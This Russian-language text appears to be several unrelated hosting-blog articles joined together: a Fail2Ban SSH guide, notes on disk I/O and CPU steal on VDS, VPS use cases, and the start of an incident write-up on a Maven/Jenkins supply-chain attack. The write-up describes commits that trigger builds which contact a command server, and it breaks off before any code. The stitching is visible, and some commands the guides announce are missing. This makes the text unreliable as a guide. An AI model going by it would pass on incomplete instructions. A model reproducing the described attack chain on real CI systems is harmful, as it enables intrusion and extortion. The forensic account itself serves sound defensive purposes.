VPS с открытым SSH-портом быстро замечается ботами. На сервере счётчик неудачных входов набирает сотни попыток в сутки, а на давно засвеченных адресах – тысячи. Боты работают автоматически и не делают перерывов. Настройка VPS без базовой защиты от перебора – прямое приглашение для таких сканеров.
Оценить масштаб можно без внешних сервисов: откройте журналы за сутки и посмотрите, сколько раз повторяются одни и те же адреса или подсети. У нового сервера первые попытки нередко появляются через несколько минут после выдачи публичного IP. Поэтому Fail2Ban лучше ставить сразу после настройки доступа, а не когда перебор уже попал в мониторинг.
Fail2Ban не заменяет SSH-ключи, отключение входа по паролю и аккуратный firewall, но хорошо снимает самый частый шум от bruteforce: видит повторяющиеся ошибки входа и отправляет подозрительные IP в бан. Ниже – рабочая настройка для Ubuntu 22.04/24.04, Debian 11/12, AlmaLinux 9 и CentOS Stream 9: установка, jail.local, защита SSH и проверка результата.
Что такое Fail2Ban и как он работает?
Fail2Ban работает довольно просто. Этот инструмент на Python читает лог-файлы или systemd journal и ищет строки, похожие на неудачную аутентификацию. Совпало регулярное выражение – счётчик для IP увеличился. Набралось maxretry ошибок за findtime – адрес уходит в firewall на время bantime. Когда срок заканчивается, блокировка снимается автоматически.
Отдельный сервис поднимать не нужно, Fail2Ban использует системный firewall: iptables, nftables или firewalld. Вся защита от bruteforce держится на понятной связке: лог, фильтр, порог срабатывания и действие блокировки.
В конфигурации чаще всего встречаются два термина:
Jail – правило для конкретного сервиса: какие события читать, какие строки считать нарушением и что делать после превышения лимита.
Filter – набор failregex, то есть регулярных выражений для поиска нужных строк в логе. Для SSH, nginx, postfix и других популярных сервисов такие фильтры уже лежат в пакете.
Подготовка VPS перед установкой
Правильная настройка VPS сервера начинается с доступа. Перед установкой нужно оставить себе путь назад: несколько действий занимают пару минут, зато помогают не попасть в классический сценарий, когда защита сработала, но заблокировала самого администратора.
Обновите систему:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade -y
# AlmaLinux 9 / CentOS Stream 9
sudo dnf update -y
Узнайте свой текущий внешний IP. Его необходимо добавить в белый список:
Проверьте, что на сервере есть пользователь с sudo. Работать от root не рекомендуется: ошибка в конфиге или случайная команда могут повлиять на весь сервер.
Чек-лист перед установкой
• SSH-доступ работает; запасная сессия открыта или есть KVM/VNC-консоль в панели провайдера
• Если используется UFW на Ubuntu/Debian, проверен его статус: sudo ufw status
• На AlmaLinux 9 / CentOS Stream 9 проверен firewalld: sudo systemctl status firewalld
Установка Fail2Ban на Ubuntu/Debian и AlmaLinux/CentOS
На Ubuntu и Debian пакет есть в стандартном репозитории:
sudo apt install fail2ban -y
/var/log/auth.log может отсутствовать при использовании systemd-journald вместо rsyslog. Если auth.log отсутствует или jail [sshd] не считает попытки входа, задайте backend = systemd. При использовании backend = systemd может потребоваться пакет python3-systemd. На минимальных образах он не всегда установлен:
sudo apt install python3-systemd -y
Проблема с backend может выглядеть так: сервис запущен, jail [sshd] активен, но Currently failed остаётся 0 даже после заведомо ошибочных SSH-входов. В таком случае явно укажите backend = systemd и перезапустите инструмент.
В AlmaLinux 9 и CentOS Stream 9 Fail2Ban обычно ставят через EPEL. Для связки с firewalld понадобится дополнительный пакет fail2ban-firewalld:
sudo dnf install epel-release -y
sudo dnf install fail2ban fail2ban-firewalld -y
На современных системах Fail2Ban также может работать через nftables без fail2ban-firewalld, в зависимости от выбранного banaction.
Запуск и добавление в автозагрузку:
sudo systemctl enable --now fail2ban
Проверка статуса:
sudo systemctl status fail2ban
В статусе нужен Active: active (running). Если сервис упал, первым делом посмотрите последние сообщения unit:
journalctl -u fail2ban -n 50
Базовая конфигурация: jail.local без магии
/etc/fail2ban/jail.conf приходит вместе с пакетом и может измениться после обновления. Свои правила лучше держать в /etc/fail2ban/jail.local: он читается поверх jail.conf и обычно не перезаписывается при обновлениях.
Создаём файл:
sudo nano /etc/fail2ban/jail.local
Секция [DEFAULT] задаёт глобальные параметры для всех jail:
[DEFAULT]
# Адреса из этого списка никогда не блокируются
ignoreip = 127.0.0.1/8 ::1 Ваш_IP
# Время блокировки (s – секунды, m – минуты, h – часы, d – дни)
bantime = 1h
# Временное окно для подсчёта неудачных попыток
findtime = 10m
# Количество неудач до блокировки
maxretry = 5
# Бэкенд чтения логов: auto подходит для большинства систем
backend = auto
ignoreip заполните сразу, до тестов. Добавьте свой IP, а при статическом офисном адресе – ещё и офисную подсеть. Иначе одна серия ошибочных входов может закончиться блокировкой администратора.
bantime определяет срок бана. Десять минут часто слишком мало: бот успевает вернуться с тем же или соседним адресом. Для рабочей SSH-защиты обычно начинают с 1h, а затем повышают до 24h, если ложных срабатываний нет.
findtime и maxretry всегда смотрят вместе. При findtime = 10m и maxretry = 5 адрес блокируется после пяти ошибок за десять минут. Для SSH это нормальный старт: пользователь с опечаткой не страдает, а простой перебор быстро отсекается.
backend = auto автоматически выбирает способ чтения логов в зависимости от окружения. В большинстве случаев этого достаточно, но если SSH-события не обнаруживаются, необходимо указать backend = systemd в нужном jail.
Защита SSH: минимально рабочая конфигурация
Добавьте в jail.local секцию [sshd] для защиты входа по SSH. Обычная настройка fail2ban ssh выглядит так:
[sshd]
# Включаем jail
enabled = true
# Порт SSH (измените, если используете нестандартный)
port = ssh
# Фильтр из /etc/fail2ban/filter.d/sshd.conf
filter = sshd
# Переопределяем глобальные значения для SSH
maxretry = 5
bantime = 24h
Если SSH-события в Ubuntu 24.04 читаются через journal, добавьте в [sshd]:
backend = systemd
Для AlmaLinux 9 и CentOS Stream 9 задайте действие блокировки через firewalld в [DEFAULT] или [sshd]:
# На AlmaLinux / CentOS Stream 9 обычно используется firewalld
banaction = firewallcmd-rich-rules
После правок перезапустите сервис:
sudo systemctl restart fail2ban
Дополнительные jail: nginx, postfix, панели управления
Фильтры для nginx, postfix, dovecot и других сервисов лежат в /etc/fail2ban/filter.d/. Например, для basic auth в nginx можно завести отдельный jail:
[nginx-http-auth]
enabled = true
port = http,https
maxretry = 10
Для ISPmanager, cPanel, Plesk и других панелей универсального фильтра обычно нет. Правила лучше брать из документации панели или репозитория Fail2Ban, а затем прогонять у себя.
Проверка работы и мониторинг
Общий статус всех активных jail:
sudo fail2ban-client status
Статус jail [sshd] показывает, сколько раз правило сработало и какие IP сейчас в бане:
sudo fail2ban-client status sshd
Если sshd не появился в списке jail, чаще всего проблема в jail.local. Проверить конфиг можно без перезапуска:
sudo fail2ban-client -t
Разбанить конкретный IP:
sudo fail2ban-client set sshd unbanip 192.168.1.100
Основной лог – /var/log/fail2ban.log. По строкам Ban и Unban видно, кого заблокировали и когда блокировка закончилась:
sudo tail -50 /var/log/fail2ban.log
Если при реальных атаках строк Ban нет, а Currently failed держится на 0, Fail2Ban смотрит не туда. На системах, где SSH пишет в /var/log/auth.log, фильтр можно проверить так:
Самоблокировка при настройке. Две-три ошибки в пароле – и ваш IP уже в бане. Перед тестами держите открытой запасную сессию. Если доступ пропал, зайдите через KVM/VNC в панели провайдера и снимите блокировку:
sudo fail2ban-client set sshd unbanip Ваш_IP
Неверный backend при использовании systemd journal. Если auth.log отсутствует, а backend оставлен auto, jail может не видеть SSH-события. Итог: Currently failed остаётся 0 при реальных неудачных входах. Обычно помогает backend = systemd в [sshd]; на минимальных образах проверьте python3-systemd.
Конфликт с firewalld на AlmaLinux и CentOS. Без fail2ban-firewalld и banaction блокировки через firewalld баны могут появляться в fail2ban.log, но не попадать в реальные правила firewall. Проверьте rich rules:
sudo firewall-cmd --list-rich-rules
Конфликт с UFW на Ubuntu. Если Fail2Ban использует способ блокировки, который не совпадает с активным firewall, правила могут применяться некорректно. Проверьте выбранный banaction и используйте вариант, соответствующий вашему окружению: UFW, iptables, nftables или firewalld.
Слишком низкий maxretry. Значение 1–2 ловит не только ботов, но и людей с одной опечаткой при вводе пароля. Для SSH начинайте с 3–5 попыток; для веб-сервисов с живыми пользователями ставьте порог выше.
Ложные срабатывания. Если под бан попал легитимный пользователь или сервис, чаще всего виноваты слишком строгий maxretry или неподходящий failregex. На системах с /var/log/auth.log проверьте совпадения фильтра:
Если auth.log нет, смотрите SSH-события через journalctl и используйте backend = systemd. Адреса с постоянным административным доступом добавляйте в ignoreip.
Нет ignoreip для офисных адресов. При смене сети или работе из нескольких локаций риск заблокировать себя выше. Если у офиса статический IP, внесите в ignoreip всю офисную подсеть.
Итоговый чек-лист внедрения
1. Сервис стартует вместе с системой, а systemctl status fail2ban показывает active (running)
2. Пользовательские правила лежат в /etc/fail2ban/jail.local, минимум с секциями [DEFAULT] и [sshd]
3. В ignoreip внесены личный IP и административные подсети
4. bantime задан минимум на 1 час
5. Для систем с SSH-логами в systemd journal в [sshd] указан backend = systemd, а python3-systemd установлен или уже пришёл зависимостью
6. Для AlmaLinux 9 / CentOS Stream 9 установлен fail2ban-firewalld, а banaction работает через firewallcmd-rich-rules
7. fail2ban-client status sshd показывает активный jail и реальные счётчики при неудачных входах
Базовая настройка Fail2Ban обычно занимает 15–20 минут. После этого достаточно изредка проверять логи и whitelist, особенно при смене firewall, офиса или сети. Правильная настройка VPS сервера начинается с таких базовых вещей – ещё до деплоя приложения. Боты не ждут, пока вы закончите.
Для СУБД важна не максимальная скорость в коротком тесте, а стабильный отклик диска под рабочей нагрузкой. Требования к I/O зависят от профиля: OLTP, аналитика и смешанные нагрузки по-разному используют чтение, запись, WAL, временные файлы и кэш. VDS для баз данных оценивают по стабильному IOPS, p99-задержке и поведению под длительной нагрузкой, а не по лучшей цифре из прайса.
Почему БД чувствительны к стабильности I/O
PostgreSQL пишет WAL, MySQL – redo log и, если включён, binlog. При скачках задержки fsync с 2 до 80 мс транзакции могут ждать диск, а очередь запросов расти даже при нормальной средней скорости. io_wait сам по себе не всегда означает проблему: его нужно смотреть вместе с latency диска, p95/p99 и временем ответа запросов.
Пиковая скорость vs устойчивый IOPS
На VDS с burst-профилем короткий тест может показать высокий результат, но через несколько минут упереться в лимит хоста или нагрузку соседних VM. Для OLTP важнее, чтобы 5 000 IOPS держались ровно 10–15 минут, чем разовый пик в 50 000 IOPS на старте теста.
Метрики, на которые смотреть
Смотрите не только среднюю задержку, а p95/p99, джиттер и самые медленные операции записи. Оценивать график лучше относительно SLO конкретной СУБД и приложения: p99-задержка, время ответа запросов и io_wait не должны регулярно выходить за допустимые для проекта значения при одинаковой нагрузке.
Как проверить VDS перед миграцией БД
Перед переносом запустите fio со случайным чтением и записью блоками 4K минимум на 10 минут и отдельно проверьте СУБД через pgbench или другой нагрузочный тест. fio помогает оценить диск, но не полностью повторяет поведение PostgreSQL или MySQL: важны WAL, fsync, cache hit ratio и размер рабочего набора данных. Размер тестового файла должен быть больше объёма памяти, который может использоваться под page cache, иначе результат может попасть в кэш и показать нереалистично высокую скорость. Тестируйте VDS-сервер в то же время суток, когда у проекта обычно пиковая нагрузка.
Что замерить до переноса продакшена
• Стабильный IOPS на длительном fio-тесте
• p99-задержка чтения и записи
• p99-задержка fsync при типичной нагрузке вашей СУБД
• io_wait во время pgbench или тестовой нагрузки
• Наличие резервирования дисков, RAID-схему и поведение платформы при сбое накопителя
• Доступный объём RAM, использование page cache и активность swap под нагрузкой
• Поведение диска после 10–15 минут непрерывной нагрузки
До миграции продакшена проверьте диск под реальный профиль БД, а после переноса повторите тесты уже на рабочей нагрузке. Если тест показывает стабильную p99-задержку без резких всплесков, миграция будет менее рискованной: вы выбираете сервер по поведению под нагрузкой, а не по пиковой скорости.
Сервер на дешёвом тарифе может пройти тест на нагрузку и всё равно провалиться в продакшене. Причина не всегда в коде: на переподписанной ноде VM конкурируют за CPU, диск и сеть. Для сервисов важна не средняя скорость, а стабильность под пиками
Две модели VDS: shared vs dedicated
В shared-модели провайдер может использовать оверкоммит: виртуальных ресурсов на узле выделено больше, чем доступно физически. Сам по себе оверкоммит не всегда означает проблему: многое зависит от политики провайдера, мониторинга нод и лимитов для соседних VM. Но при высокой конкуренции за CPU может расти steal time, а при задержках операций ввода-вывода – iowait; в обоих случаях страдают p99 и хвостовые задержки.
VDS с выделенными ресурсами строится иначе: провайдер может снижать конкуренцию за CPU, резервировать RAM и задавать гарантии по диску, но конкретная реализация зависит от тарифа и инфраструктуры. Переплата здесь покупает не цифры в тарифе, а более предсказуемое поведение под нагрузкой.
Когда предсказуемость важнее цены
Выделенные ресурсы оправданы для БД под нагрузкой, платёжных сервисов, realtime-API, CI/CD-раннеров и геймдев-бэкендов. В этих сценариях рост p99 или jitter быстро превращается в проблему. Экономия на тарифе теряет смысл, если её съедают простои, миграции и разбор деградаций.
Метрики, которые всё решают
Следите за steal time, iowait, p99 latency и jitter. iowait показывает ожидание операций ввода-вывода, поэтому его стоит смотреть вместе с await, очередью диска, latency и метриками приложения. Для steal time 3–5% – повод проверить ноду. Для p99 и jitter пороги берите из SLO сервиса, а не из средней загрузки CPU.
Чек-лист выбора конфигурации
• SLA и компенсации прописаны в условиях • CPU, RAM и диск имеют понятные гарантии • Понятно, как ограничивается производительность диска • Сеть выдерживает пики и не даёт лишний jitter • Заложен запас ресурсов под рост нагрузки
Перед тем как арендовать VDS, сверьте текущую конфигурацию с этим списком. Если риски уже видны по метрикам, переход на выделенные ресурсы может обойтись дешевле возможного инцидента.
В логах пусто, CPU в норме, но приложение тормозит. Часто виновата метрика, которую игнорируют: cpu steal time, или %st. Она показывает, сколько времени VPS провёл в ожидании физического процессора.
Что такое CPU Steal и откуда он берётся?
На гипервизоре несколько VM делят физические ядра. Когда vCPU готов работать, но планировщик отдал ядро соседней машине, ожидание засчитывается в steal. Так устроен Cloud VPS с общими ресурсами: несколько виртуальных машин конкурируют за физические ядра одного хоста. Steal может расти из-за высокой загрузки гипервизора, оверселлинга, особенностей планировщика виртуализации или кратковременной конкуренции за CPU.
Для наблюдения в динамике – vmstat 1: колонка st показывает steal за каждую секунду. Разбивку по ядрам даёт mpstat -P ALL 1. Для минутного замера с усреднением – sar -u 1 60.
Какие значения считать нормой
На стабильной ноде steal обычно близок к нулю, но универсальной нормы нет: многое зависит от типа нагрузки и платформы виртуализации. Практические ориентиры:
• 0–1% – обычно не вызывает проблем
• 3–5% – повод проверить динамику и сопоставить её с задержками приложения
• >10% – часто заметно влияет на производительность, особенно у чувствительных к задержкам сервисов
Смотрите на устойчивое значение за 10–15 минут, а не на пиковый выброс.
Что делать, если steal стабильно высокий
Сначала подтвердите устойчивость: sar -u 1 600 даст картину за 10 минут. Если steal держится выше 5%, стоит обратиться в поддержку провайдера: причина может быть в конкретной ноде, тарифе или особенностях инфраструктуры. Иногда помогает миграция на другой хост, но сначала лучше подтвердить проблему вместе с поддержкой. Если ситуация повторяется, рассмотрите тарифы с выделенными CPU-ядрами или смену провайдера.
Быстрый мониторинг VPS: чек-лист
• Запустите top, найдите строку %Cpu и проверьте %st
• Понаблюдайте за vmstat 1 в течение 30–60 секунд
• Сравните пики steal с замедлениями приложения
• Если steal стабильно выше 5%, зафиксируйте замеры и передайте их в поддержку
• Рассмотрите тариф с выделенными ядрами, если проблема системная
Запустите диагностику прямо сейчас хватит одной команды. Если steal стабильно высокий и совпадает с замедлениями приложения, сначала проверьте инфраструктуру, а уже потом ищите проблему в коде.
VPS куплен, SSH-сессия открыта. У многих здесь возникает пауза: непонятно, с чего начать и под какую задачу настраивать VPS-сервер. Разберём пять практических сценариев того, как использовать VPS: хостинг сайтов, запуск ботов, размещение API, мониторинг и автоматизация. У каждого – конкретный стек, ориентиры по ресурсам и нюансы, которые лучше знать до начала настройки, а не в процессе. Реальные требования зависят от сложности проекта, нагрузки, выбранного стека и числа одновременно работающих сервисов.
Что даёт VPS и почему его берут
VPS-сервер отличается от shared-хостинга тремя вещами. Первое – у вас есть заявленные параметры тарифа: CPU, RAM, диск и сетевой канал. На качество работы всё ещё может влиять общая инфраструктура хоста, но изоляция здесь выше, чем на shared-хостинге. Второе – root-доступ: можно установить любой софт, выбрать версию PHP, настроить nginx под конкретную задачу. Третье – VPS-сервер работает круглосуточно без вашего участия, независимо от состояния вашего компьютера или интернета. На shared-хостинге чужая нагрузка может повлиять на соседние сайты, если провайдер плохо ограничивает ресурсы аккаунтов.
От облачных функций (AWS Lambda, Yandex Cloud Functions) VPS отличается предсказуемостью: нет cold-start задержек, нет тарификации за каждый вызов функции, нет ограничений по времени выполнения. Для задач с постоянными процессами: баз данных, ботов, мониторинга – VPS часто проще и предсказуемее, чем serverless-архитектура с оплатой за вызов. При низкой или нерегулярной нагрузке serverless может оказаться дешевле.
Базовая подготовка: что сделать сразу после покупки
Настройка VPS начинается не сразу с рабочего проекта, а с базовой конфигурации. Базовая настройка снижает риск классических проблем: открытого SSH, устаревших пакетов, лишних портов и нехватки памяти при пиковых нагрузках. Пропуск таких шагов может увеличить риск потерять сервер из-за брутфорса или случайной команды от root.
• SSH-ключи. Сгенерируйте пару через ssh-keygen, передайте публичный ключ через ssh-copy-id, отключите аутентификацию по паролю в sshd_config.
• Пользователь без root. Создайте аккаунт с правами sudo. Работа от root в продакшене – плохая практика. Одна ошибка может стоить всей системы.
• Firewall. Откройте в UFW SSH-порт, 80 и 443, если они нужны вашему сценарию. Если используется стандартный SSH-порт, это 22. Fail2ban добавит защиту от брутфорса на SSH.
• Swap. Если RAM меньше 2 ГБ, добавьте swap-файл на 1–2 ГБ. Он снижает риск OOM при пиковой нагрузке, но при активном использовании может ухудшить производительность.
• Обновления. Запустите sudo apt update && apt upgrade сразу после входа на сервер, до начала любой работы.
Сценарий 1. Хостинг сайтов и веб-проектов
Хостинг на VPS оправдан, когда shared-хостинг перестал справляться: нет нужной версии PHP или Python, не хватает памяти, несколько доменов требуют разных настроек или нестандартного ПО. На VPS больше свободы в настройке: можно выбрать версии ПО, настроить веб-сервер, подключить нужные модули и управлять несколькими проектами независимо. Именно поэтому многие переезжают сюда с первого же конфликта с техподдержкой shared-хостинга.
Стек: Nginx как веб-сервер и reverse proxy, PHP-FPM для WordPress или других CMS, MySQL или PostgreSQL как база данных. Для статических сайтов (Hugo, Astro, Next.js SSG) Nginx работает без интерпретатора, нагрузка минимальная. SSL – Let’s Encrypt через Certbot, бесплатно и с автообновлением. Один Nginx обслуживает несколько доменов через server blocks.
Порты СУБД (3306, 5432) наружу не открывайте: приложение обращается к базе внутри сервера. Для сайта с умеренным трафиком часто хватает 1 vCPU и 1–2 ГБ RAM; для тяжёлых CMS с кешированием, большим числом плагинов или высокой посещаемостью лучше закладывать 2 vCPU и 2–4 ГБ. Добавьте Redis для кеша сессий: это может снизить нагрузку на базу данных и улучшить отклик WordPress при росте трафика.
Сценарий 2. Запуск Telegram- и Discord-ботов
Боту часто нужно работать круглосуточно и хранить состояние: настройки пользователей, историю диалогов, очереди задач. Локальная машина для этого не подходит, а облачные функции удобны в основном для коротких команд без постоянного процесса. VPS решает обе задачи: бот постоянно запущен, а база данных может работать рядом на том же сервере.
Стек для Telegram: Python + aiogram, управление процессом через systemd, хранение состояния в SQLite или PostgreSQL. SQLite подходит для небольших ботов с умеренной нагрузкой, но при высокой конкуренции запросов или запуске нескольких экземпляров приложения лучше сразу выбирать PostgreSQL. Для Discord – Node.js + discord.js, для управления процессом удобен PM2. Redis подойдёт для быстрого хранения временных данных и очередей.
Для большинства продакшен-сценариев с Telegram-ботами удобен webhook-режим: сервер сам получает обновления, не опрашивая API Telegram. Для webhook нужен домен с HTTPS. Polling тоже остаётся корректным вариантом для небольших проектов: он проще в запуске и не требует домена с HTTPS. Простой бот без базы данных умещается на 1 vCPU и 1 ГБ RAM. Бот со сложными очередями, вызовами внешних API и ML-моделями потребует минимум 2 ГБ RAM. Через systemd настраивается автозапуск: после перезагрузки сервера бот поднимется сам.
Сценарий 3. Размещение API и бэкендов
VPS-сервер даёт API постоянный адрес, свою базу данных и полный контроль над окружением, без vendor lock-in и без ограничений по времени выполнения запросов. Это важно для бэкендов с длительными операциями: обработкой файлов, парсингом, генерацией отчётов.
Стек: FastAPI (Python) или Express.js (Node.js) для REST, Docker для изоляции сервисов, Nginx или Traefik как reverse proxy. Приложение слушает на localhost, наружу открыты только 80 и 443. GraphQL – Strawberry (Python) или Apollo Server (Node.js). Для автодеплоя – GitHub Actions: пуш в main запускает пересборку и перезапуск контейнера.
Порты базы данных держите внутри Docker-сети, не открывайте наружу: бэкенд обращается к базе по имени сервиса внутри сети. Для API с базой данных начинайте с 2 vCPU и 2–4 ГБ RAM. При росте нагрузки Docker и reverse proxy позволяют масштабировать сервисы без переписывания архитектуры. Traefik автоматически получает и обновляет SSL-сертификаты через Let’s Encrypt при настроенном ACME, поэтому отдельная настройка Certbot не нужна.
Сценарий 4. Мониторинг и сбор метрик
Сервер мониторинга должен работать независимо от мониторируемой инфраструктуры. Если основной сервер упал, система мониторинга должна увидеть это первой и отправить алерт, а не упасть вместе с ним. Отдельный небольшой VPS для мониторинга решает эту задачу.
Uptime Kuma – удобный инструмент с веб-интерфейсом: отслеживает HTTP-статусы, время ответа, порты TCP, отправляет алерты в Telegram, Slack и другие каналы. Разворачивается через Docker за несколько минут и обычно помещается в небольшой VPS. Для лёгкого мониторинга часто достаточно 512 МБ RAM, но потребление зависит от числа проверок и их типа.
Prometheus + Grafana – полный стек для сбора метрик, построения дашбордов и настройки алертов. Prometheus собирает данные с exporters, Grafana строит графики. Оба сервиса вместе могут потреблять примерно 600–1000 МБ RAM в покое, но фактическое потребление зависит от retention, числа targets и объёма метрик. Под этот сценарий обычно стоит закладывать не меньше 2 ГБ RAM. Node Exporter собирает системные метрики хоста – CPU, RAM, диск, сеть; добавьте его на каждый наблюдаемый сервер. Алерты в Telegram настраиваются через Alertmanager за несколько минут.
Сценарий 5. Автоматизация и рабочие процессы
Сервер не выключается. Это главное преимущество VPS для автоматизации: cron-задачи запускаются по расписанию в любое время суток, скрипты работают столько, сколько нужно, без ограничений по времени выполнения и без зависимости от того, включён ли ваш компьютер.
n8n – self-hosted инструмент для визуальной автоматизации, аналог Zapier на вашем сервере. Разворачивается через Docker, а потребление памяти может начинаться примерно от 500 МБ RAM и расти с числом workflow, интеграций и выбранной БД. Данные о задачах хранятся в БД, поэтому volume для персистентности обязателен. Настроенный VPS с n8n заменяет подписку на облачные сервисы автоматизации и не передаёт данные третьим сторонам.
Для простых задач достаточно cron: бэкап файлов, отправка отчётов, очистка временных директорий, синхронизация данных между сервисами.
Как выбрать свой сценарий и не перегрузить сервер
Примерные ориентиры по ресурсам под основные задачи:
• Сайт или бот без тяжёлых фоновых задач: 1 vCPU, 1–2 ГБ RAM
Несколько сценариев на одном VPS совместить возможно, но требования зависят от сложности проекта, выбранного стека, объёма трафика и числа одновременно работающих сервисов. Для простого сайта, небольшого бота и лёгкого мониторинга 2 ГБ RAM могут быть достаточны, если нет тяжёлых фоновых задач. Docker упрощает совмещение: каждый сервис в своём контейнере, порты не конфликтуют, ресурсы лимитируются. Постоянная загрузка CPU или RAM выше 80% может стать сигналом для апгрейда. Начните с минимального тарифа и расширяйте по мере роста – большинство провайдеров позволяют сделать это без пересоздания сервера.
Чек-лист: что настроить на VPS под любой сценарий
1. SSH-ключи настроены, аутентификация по паролю отключена
2. Создан sudo-пользователь, работа от root прекращена
3. Система обновлена: sudo apt update && apt upgrade
4. UFW включён: открыты только нужные входящие порты, например SSH-порт, 80 и 443 для веб-сценариев
5. Swap настроен при RAM < 2 ГБ
6. Автоматические снапшоты или бэкапы настроены
7. Домен привязан, HTTPS работает через Let’s Encrypt
8. Базовый мониторинг: uptime и диск под контролем
VPS это не готовый продукт, а платформа для разных задач: сайта, бота, API, мониторинга или автоматизации. Начните с одного сценария, не пытайтесь запускать всё сразу. Сначала закройте базовую настройку из чек-листа: SSH-ключи, firewall, обновления, бэкапы и мониторинг. После этого разверните минимальную рабочую версию сервиса и расширяйте конфигурацию по мере роста нагрузки.
Временами получается поучаствовать в разгребании последствий «взломов с проникновением» в чужие ИТ-системы, по итогам одного такого расследования и была написана эта статья. Восстановил для вас полную картину.
1. Файл с командами, 2. Коммит в уязвимый репозиторий, 3. Автосборка на Jenkins по коммиту, 4. Результат удаленного выполнения команд.
Вводная
Вообще говоря, описанное ниже это вариация supply chain attack, которые стали очень модными и распространенными последнее время. Большинство утечек данных из крупных ИТ-компаний происходили и происходят как раз через такие атаки.
Вот тут для примера несколько реальных кейсов, а тут и тут — более глубокая проработка и исследования самой идеи.
Но несмотря на давнюю известность и явную популярность такого типа атак среди современных компьютерных жуликов, отечественным админам о них до сих пор мало чего известно.
Конкретно в описываемом случае произошел несанкционированный доступ к CI‑серверу, где постоянно шлаа сборка частей большого ИТ‑проекта, с чего высокая загрузка сети, дисков и CPU не считалась подозрительной и никак не контролировалась. Как и сетевые запросы к другим внутренним серверам.
Другими словами СI-сервер оказался идеальной мишенью.
Проект и его окружение
Для начала расскажу немного о самом проекте-жертве и его окружении:
большая компания, большой и достаточно старый проект, над которым работало и работает очень много разнообразных специалистов — администраторов, разработчиков, тестировщиков, аналитиков, архитекторов.
Многие из этих специалистов были и есть внештатные, с «плавающим» временем пребывания на проекте — многие участвовали лишь пару месяцев, полгода, год и затем пропадали.
Аутсорс, аутстафф и банальная текучка кадров никогда не позволяла держать всю картину проекта в какой-то одной голове, поэтому все участники владели знаниями по проекту лишь частично — в рамках своей зоны ответственности.
Словом типичный корпоративный бардак, хорошо всем понятный и знакомый. Полагаю многие из читателей в таком проводят рабочие будни а некоторые еще и наслаждаются.
Разумеется была внедрена «корпоративная политика безопасности» и «разграничения доступа» и много чего еще, но против тупости, забывчивости и кривых рук никакие технические средства не помогут.
Техническое описание
Проект в основном разрабатывался на Java, с небольшими частями на других языках: Python, Node.js, плюс различные скрипты на bash. И все это — с кучей legacy‑кода из «былинных времен».
Для сборки проекта и запуска автотестов (которых тоже было немало) использовался Apache Maven — запомните этот момент.
Естественно было разделение на модули и сервисы, разные баз данных, очереди сообщений — всего около 300 артефактов, библиотек и приложений.
Репозиториев для хранения исходного кода было несколько, некоторые использовались не по прямому назначению, а для хранения дополнительного контента: страниц Wiki, скриптов миграции, отчетных SQL-выборок и так далее.
Серверов CI/CD также было несколько, но все одного типа — Jenkins, для унификации. С помощью этих серверов была организована автоматическая сборка и развертывание частей проекта. Причем как оказалось в итоге, работало это как на тестовых так и на продуктовых серверах, но «по кнопке» — администратор вручную запускал задачу в Jenkins, которая обновляла продуктовый сервер.
Также для тестовых серверов запуск сборки с развертыванием происходил по коммиту в репозиторий, через специальные хуки.
Коммит в репозиторий автоматически запускал сборку проекта.
Отметим этот второй важный момент.
Инцидент
В кратце что именно произошло:
из-за утекшей учетки c правами на запись в один из репозиториев проекта, у злоумышленников получилось забраться в CI-сервер и вытащить с него админские ключи «практически ко всему». Поскольку с CI-сервера был доступ к продуктовым серверам и базам данных — все это было успешно выгружено и использовалось для шантажа компании ради материального вознаграждения.
Из материалов дела, так сказать.
Может показаться, что получение посторонним лицом доступа к репозиторию с исходным кодом — само по себе ЧП вселенского масштаба и риски такого события где‑то на уровне стихийных бедствий, поэтому проще забить чем пытаться предотвращать и контролировать.
Увы но нет, я не случайно упомянул выше про контракторов и сторонних подрядчиков:
при размере команды проекта в сотню человек, минимум раз в неделю будут происходить какие-либо действия с учетными данными: выдача новых, отключение старых и утерянных, изменения в правах и объектах доступа.
По-другому просто не бывает.
Условный Вася вышел на работу — ему обязательно нужна учетная запись в репозитории для начала трудовой деятельности, Маша уволилась или ушла в декрет — учетную запись необходимо обязательно заблокировать или удалить.
Это если все делать по-хорошему.
Но к сожалению «по-хорошему» бывает редко, куда чаще учетные данные к репозиториям являются бессрочными и остаются в системах навсегда, а доступ уволенного сотрудника блокируется лишь на уровне корпоративного VPN и входа в офис.
Еще часто бывают «общие» учетные записи, особенно у администраторов — когда под одной и той же учетной записью по рабочим серверам работает весь отдел, включая техподдержку.
Каков шанс на утечку такой общей учетной записи и все последующие проблемы думаю читатели смогут оценить самостоятельно.
Расследование
Поскольку автор имел дело уже с последствиями происшедшего инцидента, задача ставилась следующим образом:
разобрать всю цепочку проникновения и помочь СБ найти виновных
Скажу сразу что «план-перехват результатов не дал» конкретных виновников устанавливала потом СБ с помощью правоохранительных органов, это уже совсем не моя епархия.
Насколько мне известно, кого-то даже удалось поймать и отправить добывать уран наказать. Но к сожалению, поскольку на сделку с жуликами компания не пошла, ее данные все-таки попали в открытый доступ.
Не то чтобы это сильно ударило по компании и ее бизнесу, но руководство посчитало инцидент «неприятным опытом» и приняло меры, одной из которых и было мое скромное участие.
Ниже я покажу восстановленный и сильно упрощенный код, использовавшийся для проникновения и продемонстрирую по шагам весь процесс — как это происходило.
Запустится Node.js +Express приложение на порту 8000:
Дальше запускаем сборку уязвимого приложения:
cd ../vulnerable-app/ && mvn clean package
При запуске сборки произойдет подключение к командному серверу, скачивание библиотеки и ее автоматический запуск, уже без вашего участия.
Дальше при каждой сборке будут выполняться команды, скачиваемые с командного сервера и отправка назад результатов.
Как это работает
Начнем с самой системы сборки Apache Maven.
В качестве своеобразного «скрипта сборки» для нее выступает XML‑файл pom.xml, находящийся (по‑умолчанию) в корне проекта. Стандартный процесс сборки с помощью Apache Maven заключается в чтении этого файла, с последующим его разбором и пошаговым выполнением шагов сборки. Конкретные шаги сборки в Maven описываются в виде набора плагинов, которые выполняются в определенной последовательности.
Важно то что эти плагины используются в скомпилированном виде, поэтому ни код собираемого с помощью Maven приложения ни какой-либо произвольный код так просто не выполняется.
На первый взгляд выглядит достаточно безопасно. Но если немного подумать и копнуть глубже, то обязательно найдутся «интересные варианты».
Beanshell Maven Plugin
Существует такой замечательный проект BeanShell — интерпретатор «псевдоджавы», с синтаксисом похожим на Java 1.5, который часто используется в качестве встраиваемого скриптового движка, особенно в старых проектах.
Пример кода:
int addTwoNumbers( int a, int b ) { return a + b; } sum = addTwoNumbers( 5, 7 ); // 12
Если не вдаваться в детали то визуально это очень похоже на настоящую джаву. Но самое главное в другом:
